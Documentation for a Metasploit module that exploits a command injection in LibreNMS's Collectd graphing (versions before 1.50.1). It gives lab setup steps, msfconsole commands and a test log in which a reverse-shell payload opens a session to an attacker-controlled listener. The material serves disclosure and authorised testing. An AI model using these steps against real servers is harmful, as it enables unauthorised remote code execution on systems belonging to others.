## Description
A command injection vulnerability exists in LibreNMS versions prior to `v1.50.1`.
The injection vulnerability affects the Collectd graphing functionality. Specifically, the `to` and
`from` parameters used in the range for graphing are sanitized with the `mysqli_escape_real_string()`
which ignores certain characters, including backticks. These improperly sanitized parameters are then
used in a shell command that gets executed via the `passthru()` function.
This module has been tested on LibreNMS `v1.46` and `v.1.50`.
## Vulnerable Application
A vulnerable version of LibreNMS (v1.50) in the form of an OVA can be downloaded [here](https://github.com/librenms/packer-builds/releases/tag/1.50).
Login credentials can be found on the official LibreNMS [site](https://docs.librenms.org/Installation/Images/).
Collectd will need to be set up with LibreNMS for this exploit to work. These instructions
are for the Ubuntu OVA.
```sudo apt-get install collectd```
Open the Collectd config file `/etc/collectd/collectd.conf`
and uncomment the global options for the `Hostname` and `BaseDir`.
Next, uncomment the lines for the cpu plugin.
The plugin should look similar to this:
```
ReportByCpu true
ReportByState true
ValuesPercentage false
```
Next, find the `rrdtool` plugin and ensure it looks like this:
```
DataDir "/var/lib/collectd/rrd"
CacheTimeout 120
CacheFlush 900
```
Save and exit
Now open `/etc/collectd/collectd.conf.d/rrdtool.conf` and add
```
LoadPlugin rrdtool
DataDir "/var/lib/collectd/rrd"
CacheTimeout 120
CacheFlush 900
```
Save and exit, then restart the Collectd service:
```sudo systemctl restart collectd```
Lastly, add these two lines to the LibreNMS config file,
`/opt/librenms/config.php`:
```
$config['collectd_dir'] = '/var/lib/collectd/rrd';
$config['collectd_sock'] = 'unix:///var/run/collectd.sock';
```
Now save and exit.
You can verify that Collectd is set up with LibreNMS by viewing the
`localhost` device in LibreNMS and noting that there should be a Collectd
tab on the device's main page.
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: ```use exploit/linux/http/librenms_collectd_cmd_inject```
4. Do: ```set RHOSTS ```
5. Do: ```set USERNAME ```
6. Do: ```set PASSWORD ```
7. Do: ```run```
8. You should get a shell.
## Scenarios
### Tested on LibreNMS `v1.46`
```
msf5 > use exploit/linux/http/librenms_collectd_cmd_inject
msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set rhosts 192.168.37.133
rhosts => 192.168.37.133
msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set username blah
username => blah
msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set password password
password => password
msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf5 exploit(linux/http/librenms_collectd_cmd_inject) > check
[*] 192.168.37.133:80 - The target service is running, but could not be validated.
msf5 exploit(linux/http/librenms_collectd_cmd_inject) > run
[*] Started reverse TCP double handler on 192.168.37.1:4444
[*] Successfully logged into LibreNMS. Storing credentials...
[*] LibreNMS version: 1.46
[*] Sending payload via device 122
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 67Fk9T3DyODcIsbL;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "Trying: not found\r\nsh: 2: Connected: not found\r\nsh: 3: Escape: not found\r\n67Fk9T3DyODcIsbL\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 3 opened (192.168.37.1:4444 -> 192.168.37.133:50462) at 2019-08-12 15:43:16 -0500
whoami
www-data
uname -a
Linux ubuntu 4.18.0-15-generic #16~18.04.1-Ubuntu SMP Thu Feb 7 14:06:04 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
```